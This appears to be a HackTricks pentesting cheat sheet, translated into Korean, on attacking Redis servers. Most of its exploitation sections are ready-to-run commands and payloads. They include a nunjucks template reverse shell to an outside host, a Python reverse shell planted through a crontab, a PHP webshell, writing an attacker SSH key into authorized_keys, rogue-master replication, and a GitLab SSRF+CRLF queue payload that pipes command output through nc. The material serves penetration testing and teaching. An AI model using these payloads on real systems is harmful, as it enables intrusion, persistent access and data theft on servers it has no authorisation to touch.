# 6379 - Pentesting Redis {{#include ../banners/hacktricks-training.md}} ## 기본 정보 From [the docs](https://redis.io/topics/introduction): Redis는 오픈 소스(BSD 라이센스)이며, 메모리 내 **데이터 구조 저장소**로 사용되며, **데이터베이스**, 캐시 및 메시지 브로커로 사용됩니다. 기본적으로 Redis는 평문 기반 프로토콜을 사용하지만, **ssl/tls**를 구현할 수도 있다는 점을 염두에 두어야 합니다. [여기에서 ssl/tls로 Redis 실행하는 방법을 배우세요](https://fossies.org/linux/redis/TLS.md). **기본 포트:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` ## 자동 열거 Redis 인스턴스에서 정보를 얻는 데 도움이 될 수 있는 몇 가지 자동화 도구: ```bash nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` ## 수동 열거 ### 배너 Redis는 **텍스트 기반 프로토콜**입니다. 소켓에 **명령을 전송**하면 반환된 값이 읽을 수 있습니다. 또한 Redis는 **ssl/tls**를 사용하여 실행될 수 있다는 점을 기억하세요(하지만 이는 매우 이상합니다). 일반 Redis 인스턴스에서는 `nc`를 사용하여 연결하거나 `redis-cli`를 사용할 수도 있습니다: ```bash nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` 첫 번째 명령어로 시도할 수 있는 것은 **`info`**입니다. 이 명령어는 Redis 인스턴스에 대한 정보가 포함된 출력을 반환할 수 있습니다 **또는 다음과 같은 내용이 반환될 수 있습니다:** ``` -NOAUTH Authentication required. ``` 이 마지막 경우는 **유효한 자격 증명**이 필요하다는 것을 의미합니다. ### Redis 인증 **기본적으로** Redis는 **자격 증명 없이** 접근할 수 있습니다. 그러나 **비밀번호만 또는 사용자 이름 + 비밀번호**를 지원하도록 **구성**할 수 있습니다.\ `requirepass` 매개변수를 사용하여 _**redis.conf**_ 파일에 **비밀번호를 설정**할 수 있으며, 서비스가 재시작될 때까지 **임시**로 설정할 수 있습니다: `config set requirepass p@ss$12E45`.\ 또한, _**redis.conf**_ 파일 내의 `masteruser` 매개변수에서 **사용자 이름**을 구성할 수 있습니다. > [!NOTE] > 비밀번호만 구성된 경우 사용되는 사용자 이름은 "**default**"입니다.\ > 또한, Redis가 비밀번호만 또는 사용자 이름+비밀번호로 구성되었는지 **외부에서 확인할 방법이 없습니다**. 이와 같은 경우에는 Redis와 상호작용하기 위해 **유효한 자격 증명을 찾아야** 하므로 [**브루트 포스**](../generic-hacking/brute-force.md#redis)를 시도할 수 있습니다.\ **유효한 자격 증명을 찾은 경우 연결을 설정한 후 세션을 인증해야** 합니다: ```bash AUTH ``` **유효한 자격 증명**은 다음과 같이 응답됩니다: `+OK` ### **인증된 열거** Redis 서버가 **익명 연결**을 허용하거나 유효한 자격 증명을 얻은 경우, 다음 **명령어**를 사용하여 서비스의 열거 프로세스를 시작할 수 있습니다: ```bash INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ] ``` **기타 Redis 명령어** [**여기에서 확인할 수 있습니다**](https://redis.io/topics/data-types-intro) **및** [**여기에서 확인할 수 있습니다**](https://lzone.de/cheat-sheet/Redis)**.** 인스턴스의 **Redis 명령어는** _redis.conf_ 파일에서 이름을 변경하거나 제거할 수 있습니다. 예를 들어 이 줄은 FLUSHDB 명령어를 제거합니다: ``` rename-command FLUSHDB "" ``` Redis 서비스를 안전하게 구성하는 방법에 대한 자세한 내용은 여기에서 확인하세요: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) 또한 **`monitor`** 명령어를 사용하여 실행된 Redis 명령어를 **실시간으로 모니터링**하거나 **`slowlog get 25`**를 사용하여 **25개의 가장 느린 쿼리**를 가져올 수 있습니다. 더 많은 Redis 명령어에 대한 흥미로운 정보는 여기에서 확인하세요: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **데이터베이스 덤프** Redis 내에서 **데이터베이스는 0부터 시작하는 숫자**입니다. `info` 명령어의 출력에서 "Keyspace" 청크 안에 사용 중인 데이터베이스가 있는지 확인할 수 있습니다: ![](<../images/image (766).png>) 또는 다음 명령어로 모든 **키스페이스**(데이터베이스)를 가져올 수 있습니다: ``` INFO keyspace ``` 그 예제에서 **데이터베이스 0과 1**이 사용되고 있습니다. **데이터베이스 0에는 4개의 키가 있고 데이터베이스 1에는 1개가 있습니다**. 기본적으로 Redis는 데이터베이스 0을 사용합니다. 예를 들어 데이터베이스 1을 덤프하려면 다음을 수행해야 합니다: ```bash SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET [ ... Get Key ... ] ``` `GET `를 실행하는 동안 `-WRONGTYPE Operation against a key holding the wrong kind of value`라는 오류가 발생하는 경우, 해당 키가 문자열이나 정수가 아닌 다른 유형일 수 있으며, 이를 표시하기 위해 특별한 연산자가 필요합니다. 키의 유형을 확인하려면 `TYPE` 명령을 사용하십시오. 아래는 리스트 및 해시 키에 대한 예입니다. ```bash TYPE [ ... Type of the Key ... ] LRANGE 0 -1 [ ... Get list items ... ] HGET [ ... Get hash item ... ] # If the type used is weird you can always do: DUMP ``` **npm으로 데이터베이스 덤프하기**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **또는 python** [**redis-utils**](https://pypi.org/project/redis-utils/) ## Redis RCE ### 인터랙티브 셸 [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server)는 Redis(<=5.0.5)에서 자동으로 인터랙티브 셸 또는 리버스 셸을 얻을 수 있습니다. ``` ./redis-rogue-server.py --rhost --lhost ``` ### PHP Webshell Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). 당신은 **웹 사이트 폴더**의 **경로**를 알아야 합니다: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "" OK 10.85.0.52:6379> save OK ``` 웹셸 접근 예외가 발생하면, 백업 후 데이터베이스를 비우고 다시 시도할 수 있으며, 데이터베이스를 복원하는 것을 잊지 마십시오. ### 템플릿 웹셸 이전 섹션과 마찬가지로 템플릿 엔진에 의해 해석될 HTML 템플릿 파일을 덮어쓰고 셸을 얻을 수 있습니다. 예를 들어, [**이 글**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)을 따르면, 공격자가 **nunjucks 템플릿 엔진**에 의해 해석된 **HTML에 rev 셸을 주입한** 것을 볼 수 있습니다. ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}} ``` > [!WARNING] > **여러 템플릿 엔진이** 템플릿을 **메모리**에 캐시하므로, 이를 덮어쓰더라도 새로운 템플릿이 **실행되지 않을 수 있습니다**. 이 경우, 개발자가 자동 재로드를 활성화한 상태이거나 서비스에 대해 DoS를 수행해야 하며 (자동으로 다시 시작될 것으로 예상해야 함). ### SSH Example [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) **`config get dir`** 결과는 다른 수동 익스플로잇 명령 후에 변경될 수 있습니다. Redis에 로그인한 직후에 이를 먼저 실행하는 것이 좋습니다. **`config get dir`**의 출력에서 **redis 사용자**의 **home**을 찾을 수 있습니다 (보통 _/var/lib/redis_ 또는 _/home/redis/.ssh_). 이를 알면 `authenticated_users` 파일을 작성하여 **redis 사용자**로 ssh를 통해 접근할 수 있는 위치를 알 수 있습니다. 쓰기 권한이 있는 다른 유효한 사용자의 홈을 알고 있다면 이를 악용할 수도 있습니다: 1. PC에서 ssh 공개-개인 키 쌍을 생성합니다: **`ssh-keygen -t rsa`** 2. 공개 키를 파일에 씁니다: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. 파일을 redis에 가져옵니다: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. redis 서버의 **authorized_keys** 파일에 공개 키를 저장합니다: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK ``` 5. 마지막으로, 개인 키로 **redis 서버**에 **ssh**로 접속할 수 있습니다: **ssh -i id_rsa redis@10.85.0.52** **이 기술은 여기에서 자동화되어 있습니다:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) 추가로, 시스템 사용자는 `config set dir /home/USER`로 확인하여 발견할 수 있으며, 확인 후 새로운 `authorized_keys`를 `/home/USER/.ssh/authorized_keys`에 작성할 수 있습니다. [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh)를 사용하여 사용자 이름 단어 목록으로 이를 브루트포스하고 `authorized_keys`를 덮어쓸 수 있습니다. ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` 마지막 예시는 Ubuntu에 대한 것이며, **Centos**의 경우 위 명령은 다음과 같아야 합니다: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` 이 방법은 비트코인을 얻는 데에도 사용할 수 있습니다: [yam](https://www.v2ex.com/t/286981#reply14) ### Redis 모듈 로드 1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)에서 지침을 따르면 **임의의 명령을 실행하기 위해 redis 모듈을 컴파일**할 수 있습니다. 2. 그런 다음 **컴파일된** 모듈을 **업로드할 방법**이 필요합니다. 3. `MODULE LOAD /path/to/mymodule.so`로 런타임에 **업로드된 모듈을 로드**합니다. 4. `MODULE LIST`로 **로드된 모듈을 나열**하여 올바르게 로드되었는지 확인합니다. 5. **명령을 실행**합니다: ``` 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` 6. 원할 때마다 모듈을 언로드합니다: `MODULE UNLOAD mymodule` ### LUA 샌드박스 우회 [**여기**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)에서 Redis가 **EVAL** 명령을 사용하여 **Lua 코드를 샌드박스화하여 실행**하는 것을 볼 수 있습니다. 링크된 게시물에서 **dofile** 함수를 사용하여 **악용하는 방법**을 볼 수 있지만, [명백히](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) 더 이상 가능하지 않은 것 같습니다. 어쨌든, **Lua** 샌드박스를 **우회**할 수 있다면 시스템에서 **임의의** 명령을 **실행**할 수 있습니다. 또한, 같은 게시물에서 **DoS를 유발할 수 있는 몇 가지 옵션**을 볼 수 있습니다. **LUA에서 탈출하기 위한 CVE**: - [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### 마스터-슬레이브 모듈 마스터 Redis의 모든 작업은 자동으로 슬레이브 Redis에 동기화되므로, 취약한 Redis를 슬레이브 Redis로 간주할 수 있으며, 이는 우리가 제어하는 마스터 Redis에 연결되어 있습니다. 그런 다음 자신의 Redis에 명령을 입력할 수 있습니다. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` ## SSRF가 Redis와 통신하기 만약 **명확한 텍스트** 요청을 **Redis**에 보낼 수 있다면, Redis는 요청을 한 줄씩 읽고 이해하지 못하는 줄에 대해서는 오류로 응답할 것이므로 **그와 통신할 수 있습니다**: ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` 따라서, 웹사이트에서 **SSRF vuln**을 발견하고 일부 **headers**(아마도 CRLF vuln으로) 또는 **POST parameters**를 **제어**할 수 있다면, 임의의 명령을 Redis에 보낼 수 있습니다. ### 예시: Gitlab SSRF + CRLF to Shell **Gitlab11.4.7**에서 **SSRF** 취약점과 **CRLF**가 발견되었습니다. **SSRF** 취약점은 새 프로젝트를 생성할 때 **URL에서 프로젝트 가져오기 기능**에 있었으며, \[0:0:0:0:0:ffff:127.0.0.1] 형식의 임의 IP에 접근할 수 있게 해주었습니다(이는 127.0.0.1에 접근합니다). 그리고 **CRLF** vuln은 **URL**에 **%0D%0A** 문자를 추가하여 악용되었습니다. 따라서, **이 취약점을 악용하여 Redis 인스턴스와 통신할 수 있었습니다**, 이 인스턴스는 **gitlab**의 **큐를 관리**하며, 이러한 큐를 악용하여 **코드 실행을 얻을 수 있었습니다**. Redis 큐 악용 페이로드는: ``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` 그리고 **URL 인코딩** 요청 **SSRF 악용** 및 **CRLF**를 사용하여 `whoami`를 실행하고 출력을 `nc`를 통해 반환하는 방법은: ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` _어떤 이유로 (이 정보가 가져온_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _의 저자에 따르면) `git` 스킴으로는 익스플로잇이 작동했지만 `http` 스킴으로는 작동하지 않았습니다._ {{#include ../banners/hacktricks-training.md}}